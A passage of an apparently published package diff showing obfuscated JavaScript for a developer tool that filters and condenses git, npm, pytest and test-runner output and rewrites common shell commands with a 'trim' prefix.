_0x286ba8=Object['getOwnPropertyNames']||function(_0x63de29){const _0x4f00d9=a0_0x1d68;var _0x4dda9c=[];for(var _0x10138b in _0x63de29)if(Object[_0x4f00d9(0x13f)][_0x4f00d9(0x142)][_0x4f00d9(0x132)](_0x63de29,_0x10138b))_0x4dda9c[_0x4dda9c[_0x4f00d9(0x11c)]]=_0x10138b;return _0x4dda9c;},_0x286ba8(_0x24db84);};return function(_0x29a287){const _0x407582=a0_0x1d68;if(_0x29a287&&_0x29a287[_0x407582(0x139)])return _0x29a287;var _0x598097={};if(_0x29a287!=null){for(var _0x1ca2b6=_0x286ba8(_0x29a287),_0x873bc5=0x0;_0x873bc5<_0x1ca2b6['length'];_0x873bc5++)if(_0x1ca2b6[_0x873bc5]!==_0x407582(0x153))__createBinding(_0x598097,_0x29a287,_0x1ca2b6[_0x873bc5]);}return __setModuleDefault(_0x598097,_0x29a287),_0x598097;};}());Object[a0_0x24433a(0x131)](exports,a0_0x24433a(0x139),{'value':!![]}),exports['filterGitStatus']=filterGitStatus,exports[a0_0x24433a(0x130)]=filterGitLog,exports[a0_0x24433a(0x128)]=filterGitDiff;const path=__importStar(require('path'));function filterGitStatus(_0x5d598b){const _0x399a7c=a0_0x24433a,_0xe7fb0a=_0x5d598b[_0x399a7c(0x120)]('\x0a')[_0x399a7c(0x12d)](_0x4d4766=>_0x4d4766[_0x399a7c(0x127)]())['filter'](_0x473a11=>_0x473a11['length']>0x0);if(_0xe7fb0a['length']===0x0)return _0x399a7c(0x13a);const _0x49c043=[],_0x4aac05=[],_0x2882b9=[];for(const _0x40e98a of _0xe7fb0a){if(_0x40e98a[_0x399a7c(0x12a)]('##')){const _0x1768c8=_0x40e98a[_0x399a7c(0x14e)](/^##\s*/,'');_0x49c043[_0x399a7c(0x14f)](_0x399a7c(0x11d)+_0x1768c8);}else _0x40e98a[_0x399a7c(0x12a)]('??')?_0x4aac05['push'](_0x40e98a[_0x399a7c(0x146)](0x3)[_0x399a7c(0x127)]()):_0x2882b9[_0x399a7c(0x14f)](_0x40e98a);}_0x2882b9[_0x399a7c(0x11c)]>0x0&&(_0x49c043['push'](_0x399a7c(0x11b)),_0x49c043['push'](..._0x2882b9[_0x399a7c(0x12d)](_0x36ecd0=>'\x20\x20'+_0x36ecd0)));if(_0x4aac05[_0x399a7c(0x11c)]>0x0){_0x49c043[_0x399a7c(0x14f)](_0x399a7c(0x147));const _0x3164f7={},_0x4cf652=[];for(const _0x5b50d8 of _0x4aac05){const _0x38f4c3=path[_0x399a7c(0x14c)](_0x5b50d8);_0x38f4c3==='.'||_0x38f4c3===''?_0x4cf652[_0x399a7c(0x14f)](_0x5b50d8):(!_0x3164f7[_0x38f4c3]&&(_0x3164f7[_0x38f4c3]=[]),_0x3164f7[_0x38f4c3][_0x399a7c(0x14f)](path[_0x399a7c(0x13b)](_0x5b50d8)));}for(const [_0x430a10,_0x57fb12]of Object[_0x399a7c(0x149)](_0x3164f7)){if(_0x57fb12['length']>0x5)_0x49c043[_0x399a7c(0x14f)](_0x399a7c(0x14a)+_0x430a10+_0x399a7c(0x129)+_0x57fb12['length']+_0x399a7c(0x124));else for(const _0x17d985 of _0x57fb12){_0x49c043['push']('\x20\x20??\x20'+path[_0x399a7c(0x14b)](_0x430a10,_0x17d985));}}for(const _0x4e5a18 of _0x4cf652){_0x49c043[_0x399a7c(0x14f)]('\x20\x20??\x20'+_0x4e5a18);}}return _0x49c043[_0x399a7c(0x14b)]('\x0a');}function a0_0x1d68(_0x1cd893,_0x325b33){_0x1cd893=_0x1cd893-0x11b;const _0x127aa8=a0_0x127a();let _0x1d688d=_0x127aa8[_0x1cd893];return _0x1d688d;}function filterGitLog(_0x20bf1b){const _0x172e5a=a0_0x24433a,_0x48376a=_0x20bf1b[_0x172e5a(0x120)](_0x172e5a(0x122))['map'](_0x3a1817=>_0x3a1817[_0x172e5a(0x127)]())[_0x172e5a(0x141)](_0x439d0e=>_0x439d0e['length']>0x0);if(_0x48376a[_0x172e5a(0x11c)]===0x0)return _0x20bf1b;const _0x4692ef=[];for(const _0x1a016f of _0x48376a){const _0x57ccc4=_0x1a016f[_0x172e5a(0x120)]('\x0a'),_0x144e5c=_0x57ccc4[0x0]||'',_0x389062=_0x57ccc4['slice'](0x1)['map'](_0x419679=>_0x419679[_0x172e5a(0x127)]())[_0x172e5a(0x141)](_0x3ea273=>_0x3ea273[_0x172e5a(0x11c)]>0x0);_0x4692ef[_0x172e5a(0x14f)]('-\x20'+_0x144e5c),_0x389062[_0x172e5a(0x11c)]>0x0&&(_0x4692ef['push']('\x20\x20'+_0x389062[0x0]),_0x389062['length']>0x1&&_0x4692ef[_0x172e5a(0x14f)]('\x20\x20...\x20(+'+(_0x389062[_0x172e5a(0x11c)]-0x1)+'\x20lines\x20of\x20description)'));}return _0x4692ef['join']('\x0a');}function filterGitDiff(_0x35e03d){const _0xd7dd0f=a0_0x24433a,_0x55a511=_0x35e03d[_0xd7dd0f(0x120)]('\x0a'),_0x34d0cb=[];let _0x8a4014='',_0x46b350=0x0,_0xa404ac=0x0,_0x1f503f=[];const _0x313fe2=()=>{const _0x3c2f1c=_0xd7dd0f;if(_0x8a4014&&(_0x46b350>0x0||_0xa404ac>0x0)){_0x34d0cb[_0x3c2f1c(0x14f)](_0x3c2f1c(0x148)+_0x8a4014+_0x3c2f1c(0x133)+_0x46b350+'\x20-'+_0xa404ac+')');const _0x475fe9=0xa,_0x5c7dd8=_0x1f503f[_0x3c2f1c(0x138)](0x0,_0x475fe9);for(const _0x39848a of _0x5c7dd8){_0x34d0cb[_0x3c2f1c(0x14f)]('\x20\x20'+_0x39848a);}const _0x4dbe1d=_0x46b350+_0xa404ac-_0x475fe9;_0x4dbe1d>0x0&&_0x34d0cb['push'](_0x3c2f1c(0x125)+_0x4dbe1d+_0x3c2f1c(0x126));}_0x46b350=0x0,_0xa404ac=0x0,_0x1f503f=[];};for(const _0x26a78d of _0x55a511){if(_0x26a78d[_0xd7dd0f(0x12a)](_0xd7dd0f(0x13c))){_0x313fe2();const _0xbc5ae=_0x26a78d[_0xd7dd0f(0x121)](/\sb\/(.+)$/);_0x8a4014=_0xbc5ae?_0xbc5ae[0x1]:_0xd7dd0f(0x12c);}else{if(_0x26a78d[_0xd7dd0f(0x12a)]('+')&&!_0x26a78d[_0xd7dd0f(0x12a)](_0xd7dd0f(0x123)))_0x46b350++,_0x1f503f[_0xd7dd0f(0x14f)](_0x26a78d);else _0x26a78d[_0xd7dd0f(0x12a)]('-')&&!_0x26a78d[_0xd7dd0f(0x12a)](_0xd7dd0f(0x12b))&&(_0xa404ac++,_0x1f503f[_0xd7dd0f(0x14f)](_0x26a78d));}}_0x313fe2();const _0x513d89=_0x34d0cb['join']('\x0a');return _0x513d89['length']>0x0?_0x513d89:'No\x20modifications';}
package/filters/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x49679b=a0_0x2e74;(function(_0x15e371,_0x3010bb){const _0x5e3916=a0_0x2e74,_0x2f2990=_0x15e371();while(!![]){try{const _0x40e2f9=parseInt(_0x5e3916(0x1c2))/0x1+-parseInt(_0x5e3916(0x1b3))/0x2*(parseInt(_0x5e3916(0x1e4))/0x3)+parseInt(_0x5e3916(0x1d9))/0x4+-parseInt(_0x5e3916(0x1e7))/0x5*(parseInt(_0x5e3916(0x1ce))/0x6)+-parseInt(_0x5e3916(0x1dc))/0x7*(-parseInt(_0x5e3916(0x1b2))/0x8)+-parseInt(_0x5e3916(0x1af))/0x9*(-parseInt(_0x5e3916(0x1e1))/0xa)+-parseInt(_0x5e3916(0x1c0))/0xb*(parseInt(_0x5e3916(0x1df))/0xc);if(_0x40e2f9===_0x3010bb)break;else _0x2f2990['push'](_0x2f2990['shift']());}catch(_0x4495e5){_0x2f2990['push'](_0x2f2990['shift']());}}}(a0_0x357a,0xeebd5));function a0_0x357a(){const _0x4653a3=['trim\x20cargo','trim\x20go','yadm\x20status','trim\x20npx','pip\x20install','softTruncate','9KutpVt','../redactor','defineProperty','8uhYiQx','8548cdAeuT','./git','trim\x20find','filterGitLog','git\x20log','trim\x20npm','length','trim','yarn\x20install','trim\x20docker','redactor','vitest','compressOutput','44VIICsL','trim\x20pnpm','1933617FtqjJQ','trim\x20ls','npm\x20i','redact','stripAnsi','yadm\x20diff','includes','trim\x20pip','trim\x20git','trim\x20grep','pnpm\x20install','./generic','4657602xdziEs','toLowerCase','pytest','filterJestVitest','rewriteCommand','collapseDuplicates','filterGitDiff','endsWith','./js','pattern','trim\x20kubectl','1910052zkudaY','trim\x20','test','1752793WrhwOT','filterGitStatus','git\x20show','3745212gmpVRF','startsWith','5504450EvbIfI','git\x20diff','filterNpmInstall','147beKElb','git\x20status','jest','5HHHcsV','trim\x20read','npm\x20install'];a0_0x357a=function(){return _0x4653a3;};return a0_0x357a();}function a0_0x2e74(_0x567e73,_0x4a3bd8){_0x567e73=_0x567e73-0x1ab;const _0x357a29=a0_0x357a();let _0x2e7459=_0x357a29[_0x567e73];return _0x2e7459;}Object[a0_0x49679b(0x1b1)](exports,'__esModule',{'value':!![]}),exports[a0_0x49679b(0x1bf)]=compressOutput,exports[a0_0x49679b(0x1d2)]=rewriteCommand;const generic_1=require(a0_0x49679b(0x1cd)),git_1=require(a0_0x49679b(0x1b4)),python_1=require('./python'),js_1=require(a0_0x49679b(0x1d6)),redactor_1=require(a0_0x49679b(0x1b0));function compressOutput(_0x4055b3,_0x161431,_0x43e091,_0x16b6bd=!![]){const _0x2a9c37=a0_0x49679b,_0x47c282=_0x4055b3[_0x2a9c37(0x1ba)]();let _0x152166=_0x161431;_0x43e091['trim']()[_0x2a9c37(0x1b9)]>0x0&&(_0x152166=_0x161431+'\x0a'+_0x43e091);let _0x1b29f5=(0x0,generic_1[_0x2a9c37(0x1c6)])(_0x152166);_0x16b6bd&&(_0x1b29f5=redactor_1[_0x2a9c37(0x1bd)][_0x2a9c37(0x1c5)](_0x1b29f5));const _0x2fdb38=_0x47c282[_0x2a9c37(0x1cf)]();try{if(_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1e5))||_0x2fdb38['includes'](_0x2a9c37(0x1ab)))return(0x0,git_1[_0x2a9c37(0x1dd)])(_0x1b29f5);if(_0x2fdb38['includes'](_0x2a9c37(0x1b7))||_0x2fdb38[_0x2a9c37(0x1c8)]('yadm\x20log'))return(0x0,git_1[_0x2a9c37(0x1b6)])(_0x1b29f5);if(_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1e2))||_0x2fdb38['includes'](_0x2a9c37(0x1de))||_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1c7)))return(0x0,git_1[_0x2a9c37(0x1d4)])(_0x1b29f5);if(_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1d0)))return(0x0,python_1['filterPytest'])(_0x1b29f5);if(_0x2fdb38['includes'](_0x2a9c37(0x1e9))||_0x2fdb38[_0x2a9c37(0x1c8)]('npm\x20i\x20')||_0x2fdb38[_0x2a9c37(0x1d5)](_0x2a9c37(0x1c4))||_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1cc))||_0x2fdb38['includes'](_0x2a9c37(0x1bb)))return(0x0,js_1[_0x2a9c37(0x1e3)])(_0x1b29f5);if(_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1ad))||_0x2fdb38[_0x2a9c37(0x1c8)]('pip3\x20install'))return(0x0,python_1['filterPipInstall'])(_0x1b29f5);if(_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1e6))||_0x2fdb38[_0x2a9c37(0x1c8)](_0x2a9c37(0x1be)))return(0x0,js_1[_0x2a9c37(0x1d1)])(_0x1b29f5);}catch(_0x55f7b6){}return _0x1b29f5=(0x0,generic_1[_0x2a9c37(0x1d3)])(_0x1b29f5),_0x1b29f5=(0x0,generic_1[_0x2a9c37(0x1ae)])(_0x1b29f5,0x4e20),_0x1b29f5;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x49679b(0x1ca)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':'trim\x20gh'},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':'trim\x20glab'},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x49679b(0x1ea)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x49679b(0x1c1)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x)(\s|$)/,'prefix':a0_0x49679b(0x1b8)},{'pattern':/^npx\s+/,'prefix':a0_0x49679b(0x1ac)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x49679b(0x1e8)},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x49679b(0x1cb)},{'pattern':/^ls(\s|$)/,'prefix':a0_0x49679b(0x1c3)},{'pattern':/^find\s+/,'prefix':a0_0x49679b(0x1b5)},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x49679b(0x1bc)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x49679b(0x1d8)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':'trim\x20pytest'},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x49679b(0x1c9)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x49679b(0x1eb)}];function rewriteCommand(_0x4e7718){const _0x2a011f=a0_0x49679b,_0x14602f=_0x4e7718['trim']();if(_0x14602f[_0x2a011f(0x1e0)]('trim\x20'))return _0x14602f;for(const _0x173550 of REWRITE_RULES){if(_0x173550[_0x2a011f(0x1d7)][_0x2a011f(0x1db)](_0x14602f))return _0x2a011f(0x1da)+_0x14602f;}return _0x14602f;}
1
+ 'use strict';const a0_0x1a24f5=a0_0x352f;function a0_0x352f(_0x17d94a,_0x2026a5){_0x17d94a=_0x17d94a-0xba;const _0x4e1baf=a0_0x4e1b();let _0x352f7=_0x4e1baf[_0x17d94a];return _0x352f7;}(function(_0x37f9e8,_0x2ebc26){const _0x4e6157=a0_0x352f,_0x43a4f4=_0x37f9e8();while(!![]){try{const _0x2f72a5=-parseInt(_0x4e6157(0xdc))/0x1*(-parseInt(_0x4e6157(0xd7))/0x2)+-parseInt(_0x4e6157(0xd3))/0x3*(parseInt(_0x4e6157(0xce))/0x4)+parseInt(_0x4e6157(0xde))/0x5+parseInt(_0x4e6157(0xeb))/0x6*(-parseInt(_0x4e6157(0xcb))/0x7)+parseInt(_0x4e6157(0xca))/0x8*(-parseInt(_0x4e6157(0xbe))/0x9)+-parseInt(_0x4e6157(0xe5))/0xa*(parseInt(_0x4e6157(0xe4))/0xb)+-parseInt(_0x4e6157(0xe7))/0xc*(-parseInt(_0x4e6157(0xec))/0xd);if(_0x2f72a5===_0x2ebc26)break;else _0x43a4f4['push'](_0x43a4f4['shift']());}catch(_0x32ab55){_0x43a4f4['push'](_0x43a4f4['shift']());}}}(a0_0x4e1b,0x1e7d5));function a0_0x4e1b(){const _0x1abcb1=['trim\x20grep','1355148JLtZFg','vitest','npm\x20i','trim\x20pytest','filterPytest','git\x20status','pip3\x20install','softTruncate','length','trim\x20glab','redactor','trim\x20kubectl','8LDNIeX','7JOgKmE','filterGitLog','redact','4268hawmOx','trim','yadm\x20diff','pattern','rewriteCommand','234ekFLYp','git\x20show','trim\x20go','startsWith','42022xhmLTT','pytest','yarn\x20install','trim\x20docker','__esModule','10BkwWQB','jest','1079720SsaiiE','trim\x20pip','pnpm\x20install','collapseDuplicates','yadm\x20log','trim\x20','88Xxqgvt','254550hkBEbn','./generic','15828BQxJaD','trim\x20npm','stripAnsi','trim\x20ls','765186gFTmVr','2600gGnHAS','pip\x20install','filterNpmInstall','git\x20diff','trim\x20gh','filterGitDiff','compressOutput','trim\x20cargo','toLowerCase','includes','trim\x20git'];a0_0x4e1b=function(){return _0x1abcb1;};return a0_0x4e1b();}Object['defineProperty'](exports,a0_0x1a24f5(0xdb),{'value':!![]}),exports[a0_0x1a24f5(0xf2)]=compressOutput,exports[a0_0x1a24f5(0xd2)]=rewriteCommand;const generic_1=require(a0_0x1a24f5(0xe6)),git_1=require('./git'),python_1=require('./python'),js_1=require('./js'),redactor_1=require('../redactor');function compressOutput(_0x4a3fe6,_0x76fe8b,_0x452d4b,_0xc8bd5c=!![]){const _0x45b0fb=a0_0x1a24f5,_0x416d11=_0x4a3fe6[_0x45b0fb(0xcf)]();let _0x571125=_0x76fe8b;_0x452d4b[_0x45b0fb(0xcf)]()[_0x45b0fb(0xc6)]>0x0&&(_0x571125=_0x76fe8b+'\x0a'+_0x452d4b);let _0x245d8a=(0x0,generic_1[_0x45b0fb(0xe9)])(_0x571125);_0xc8bd5c&&(_0x245d8a=redactor_1[_0x45b0fb(0xc8)][_0x45b0fb(0xcd)](_0x245d8a));const _0x2ffeeb=_0x416d11[_0x45b0fb(0xba)]();try{if(_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xc3))||_0x2ffeeb['includes']('yadm\x20status'))return(0x0,git_1['filterGitStatus'])(_0x245d8a);if(_0x2ffeeb[_0x45b0fb(0xbb)]('git\x20log')||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xe2)))return(0x0,git_1[_0x45b0fb(0xcc)])(_0x245d8a);if(_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xef))||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xd4))||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xd0)))return(0x0,git_1[_0x45b0fb(0xf1)])(_0x245d8a);if(_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xd8)))return(0x0,python_1[_0x45b0fb(0xc2)])(_0x245d8a);if(_0x2ffeeb['includes']('npm\x20install')||_0x2ffeeb[_0x45b0fb(0xbb)]('npm\x20i\x20')||_0x2ffeeb['endsWith'](_0x45b0fb(0xc0))||_0x2ffeeb['includes'](_0x45b0fb(0xe0))||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xd9)))return(0x0,js_1[_0x45b0fb(0xee)])(_0x245d8a);if(_0x2ffeeb['includes'](_0x45b0fb(0xed))||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xc4)))return(0x0,python_1['filterPipInstall'])(_0x245d8a);if(_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xdd))||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xbf)))return(0x0,js_1['filterJestVitest'])(_0x245d8a);}catch(_0x4cb703){}return _0x245d8a=(0x0,generic_1[_0x45b0fb(0xe1)])(_0x245d8a),_0x245d8a=(0x0,generic_1[_0x45b0fb(0xc5)])(_0x245d8a,0x4e20),_0x245d8a;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x1a24f5(0xbc)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':a0_0x1a24f5(0xf0)},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x1a24f5(0xc7)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x1a24f5(0xf3)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':'trim\x20pnpm'},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x)(\s|$)/,'prefix':a0_0x1a24f5(0xe8)},{'pattern':/^npx\s+/,'prefix':'trim\x20npx'},{'pattern':/^(cat|head|tail)\s+/,'prefix':'trim\x20read'},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x1a24f5(0xbd)},{'pattern':/^ls(\s|$)/,'prefix':a0_0x1a24f5(0xea)},{'pattern':/^find\s+/,'prefix':'trim\x20find'},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x1a24f5(0xda)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x1a24f5(0xc9)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x1a24f5(0xc1)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x1a24f5(0xdf)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x1a24f5(0xd5)}];function rewriteCommand(_0x428d15){const _0x3182d5=a0_0x1a24f5,_0x2f231b=_0x428d15[_0x3182d5(0xcf)]();if(_0x2f231b[_0x3182d5(0xd6)](_0x3182d5(0xe3)))return _0x2f231b;for(const _0x17693d of REWRITE_RULES){if(_0x17693d[_0x3182d5(0xd1)]['test'](_0x2f231b))return _0x3182d5(0xe3)+_0x2f231b;}return _0x2f231b;}
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x171281=a0_0x1504;(function(_0x515b28,_0x1bcc8d){const _0x4ea830=a0_0x1504,_0x357639=_0x515b28();while(!![]){try{const _0x514ab3=-parseInt(_0x4ea830(0x127))/0x1*(parseInt(_0x4ea830(0x116))/0x2)+-parseInt(_0x4ea830(0x137))/0x3*(parseInt(_0x4ea830(0x12f))/0x4)+parseInt(_0x4ea830(0x12c))/0x5+parseInt(_0x4ea830(0x120))/0x6*(parseInt(_0x4ea830(0x132))/0x7)+-parseInt(_0x4ea830(0x117))/0x8+parseInt(_0x4ea830(0x11c))/0x9*(parseInt(_0x4ea830(0x12b))/0xa)+-parseInt(_0x4ea830(0x124))/0xb*(-parseInt(_0x4ea830(0x121))/0xc);if(_0x514ab3===_0x1bcc8d)break;else _0x357639['push'](_0x357639['shift']());}catch(_0x23b0c1){_0x357639['push'](_0x357639['shift']());}}}(a0_0xf57e,0x87975));Object[a0_0x171281(0x134)](exports,'__esModule',{'value':!![]}),exports[a0_0x171281(0x131)]=filterNpmInstall,exports['filterJestVitest']=filterJestVitest;function a0_0x1504(_0x37d7e5,_0x28abfb){_0x37d7e5=_0x37d7e5-0x115;const _0xf57e32=a0_0xf57e();let _0x1504f1=_0xf57e32[_0x37d7e5];return _0x1504f1;}function a0_0xf57e(){const _0x3056ee=['startsWith','4LSuJjl','217248UMjkYP','\x20total)','slice','Tests:','push','10629SZwQaD','audited\x20','FAIL','Test\x20Files:','66fVefXD','746580AjwBzV','replace','split','22gjtWrF','Test\x20Runner:\x20','removed\x20','344191nRvABA','\x20\x20...\x20(','match','trim','7210ZXZDem','1890360pAaILH','found\x20','includes','4eLkmUp','Test\x20Suites:','filterNpmInstall','49763KZWgxU','length','defineProperty','\x0aFailures:','\x20passed','483849JUXJKG'];a0_0xf57e=function(){return _0x3056ee;};return a0_0xf57e();}function filterNpmInstall(_0x362dcb){const _0x300672=a0_0x171281,_0x281287=_0x362dcb[_0x300672(0x122)](/\r/g,'\x0a'),_0x4b7284=_0x281287[_0x300672(0x123)]('\x0a'),_0x1b88bf=[];for(const _0x57eda5 of _0x4b7284){const _0x7df8d7=_0x57eda5['trim']();(_0x7df8d7[_0x300672(0x12e)]('added\x20')||_0x7df8d7[_0x300672(0x12e)](_0x300672(0x126))||_0x7df8d7['includes'](_0x300672(0x11d))||_0x7df8d7[_0x300672(0x12e)]('up\x20to\x20date')||_0x7df8d7['includes'](_0x300672(0x12d)))&&(!_0x7df8d7[_0x300672(0x12e)]('%')&&!_0x7df8d7[_0x300672(0x115)]('⠋')&&!_0x7df8d7[_0x300672(0x115)]('⠙')&&_0x1b88bf['push'](_0x7df8d7));}const _0x4a1aee=_0x1b88bf['join']('\x0a')[_0x300672(0x12a)]();return _0x4a1aee[_0x300672(0x133)]>0x0?_0x4a1aee:'NPM:\x20Packages\x20verified/installed\x20successfully';}function filterJestVitest(_0x36b580){const _0x12712b=a0_0x171281,_0x81a455=_0x36b580['split']('\x0a');let _0x2e6849=0x0,_0x5bc7bb=0x0,_0x19b21a=0x0;const _0x15720e=[];let _0x69d1b=![];for(const _0x43439d of _0x81a455){const _0xa28931=_0x43439d[_0x12712b(0x12a)]();if(_0xa28931[_0x12712b(0x115)](_0x12712b(0x11a))||_0xa28931['includes'](_0x12712b(0x11f))){const _0x29374d=_0xa28931[_0x12712b(0x129)](/(\d+)\s+passed/),_0x184318=_0xa28931[_0x12712b(0x129)](/(\d+)\s+failed/),_0x213f60=_0xa28931[_0x12712b(0x129)](/(\d+)\s+total/);if(_0x29374d)_0x2e6849=parseInt(_0x29374d[0x1]);if(_0x184318)_0x5bc7bb=parseInt(_0x184318[0x1]);if(_0x213f60)_0x19b21a=parseInt(_0x213f60[0x1]);continue;}(_0xa28931['startsWith']('❯')||_0xa28931[_0x12712b(0x115)]('●')||_0xa28931[_0x12712b(0x115)]('FAIL\x20\x20'))&&(_0x69d1b=!![]),_0x69d1b&&(_0xa28931['length']>0x0&&!_0xa28931[_0x12712b(0x115)](_0x12712b(0x130))&&!_0xa28931[_0x12712b(0x115)]('Tests:')&&_0x15720e[_0x12712b(0x11b)](_0x43439d));}if(_0x19b21a===0x0&&_0x2e6849===0x0&&_0x5bc7bb===0x0){if(_0x36b580[_0x12712b(0x12e)]('PASS')&&!_0x36b580[_0x12712b(0x12e)](_0x12712b(0x11e))){const _0x3fa3b6=_0x36b580[_0x12712b(0x129)](/(\d+)\s+passed/),_0x5e80b0=_0x3fa3b6?_0x3fa3b6[0x1]:'all';return _0x12712b(0x125)+_0x5e80b0+'\x20passed';}return _0x36b580;}if(_0x5bc7bb===0x0&&_0x2e6849>0x0)return _0x12712b(0x125)+_0x2e6849+_0x12712b(0x136);const _0x295cea=[_0x12712b(0x125)+_0x2e6849+'\x20passed,\x20'+_0x5bc7bb+'\x20failed\x20('+_0x19b21a+_0x12712b(0x118)];if(_0x15720e[_0x12712b(0x133)]>0x0){_0x295cea[_0x12712b(0x11b)](_0x12712b(0x135));const _0x493774=0x19,_0x10a4f8=_0x15720e[_0x12712b(0x119)](0x0,_0x493774);for(const _0x3dc2c3 of _0x10a4f8){_0x295cea[_0x12712b(0x11b)]('\x20\x20'+_0x3dc2c3);}_0x15720e[_0x12712b(0x133)]>_0x493774&&_0x295cea[_0x12712b(0x11b)](_0x12712b(0x128)+(_0x15720e['length']-_0x493774)+'\x20lines\x20of\x20trace\x20details\x20truncated)');}return _0x295cea['join']('\x0a');}
1
+ 'use strict';function a0_0x4701(){const _0x45b59b=['includes','168xYVHWl','slice','NPM:\x20Packages\x20verified/installed\x20successfully','1207604nnIAce','Tests:','added\x20','\x20\x20...\x20(','144GlmMbl','split','1131217sqOBHE','2099215lqJtaZ','FAIL\x20\x20','11XMmbyD','push','8doFKSu','Test\x20Runner:\x20','9972084Qfljlo','removed\x20','startsWith','found\x20','\x20passed,\x20','2008137MRaACL','12EdIoKL','up\x20to\x20date','\x20failed\x20(','filterNpmInstall','filterJestVitest','Test\x20Files:','length','all','trim','Test\x20Suites:','__esModule','\x20passed','PASS','92722cwFSOK','765620TmvLxW','match','FAIL'];a0_0x4701=function(){return _0x45b59b;};return a0_0x4701();}function a0_0x49ef(_0x4f5d14,_0x2af55e){_0x4f5d14=_0x4f5d14-0xe6;const _0x470171=a0_0x4701();let _0x49ef8b=_0x470171[_0x4f5d14];return _0x49ef8b;}const a0_0x1abf68=a0_0x49ef;(function(_0x4e4fd3,_0xcc8be){const _0x3c9b51=a0_0x49ef,_0x50bc7c=_0x4e4fd3();while(!![]){try{const _0xb5b816=-parseInt(_0x3c9b51(0x104))/0x1+parseInt(_0x3c9b51(0xfe))/0x2+parseInt(_0x3c9b51(0xe8))/0x3*(-parseInt(_0x3c9b51(0x109))/0x4)+parseInt(_0x3c9b51(0x105))/0x5*(parseInt(_0x3c9b51(0xe9))/0x6)+parseInt(_0x3c9b51(0xf6))/0x7*(-parseInt(_0x3c9b51(0xfb))/0x8)+-parseInt(_0x3c9b51(0x102))/0x9*(-parseInt(_0x3c9b51(0xf7))/0xa)+-parseInt(_0x3c9b51(0x107))/0xb*(-parseInt(_0x3c9b51(0x10b))/0xc);if(_0xb5b816===_0xcc8be)break;else _0x50bc7c['push'](_0x50bc7c['shift']());}catch(_0x1a8e46){_0x50bc7c['push'](_0x50bc7c['shift']());}}}(a0_0x4701,0xb76f2));Object['defineProperty'](exports,a0_0x1abf68(0xf3),{'value':!![]}),exports[a0_0x1abf68(0xec)]=filterNpmInstall,exports[a0_0x1abf68(0xed)]=filterJestVitest;function filterNpmInstall(_0x299eac){const _0x188d31=a0_0x1abf68,_0x486c91=_0x299eac['replace'](/\r/g,'\x0a'),_0x3c20a1=_0x486c91['split']('\x0a'),_0x14017f=[];for(const _0x4dc244 of _0x3c20a1){const _0x297958=_0x4dc244['trim']();(_0x297958[_0x188d31(0xfa)](_0x188d31(0x100))||_0x297958[_0x188d31(0xfa)](_0x188d31(0x10c))||_0x297958[_0x188d31(0xfa)]('audited\x20')||_0x297958[_0x188d31(0xfa)](_0x188d31(0xea))||_0x297958[_0x188d31(0xfa)](_0x188d31(0xe6)))&&(!_0x297958[_0x188d31(0xfa)]('%')&&!_0x297958[_0x188d31(0x10d)]('⠋')&&!_0x297958['startsWith']('⠙')&&_0x14017f[_0x188d31(0x108)](_0x297958));}const _0x5b79ea=_0x14017f['join']('\x0a')[_0x188d31(0xf1)]();return _0x5b79ea[_0x188d31(0xef)]>0x0?_0x5b79ea:_0x188d31(0xfd);}function filterJestVitest(_0x37f847){const 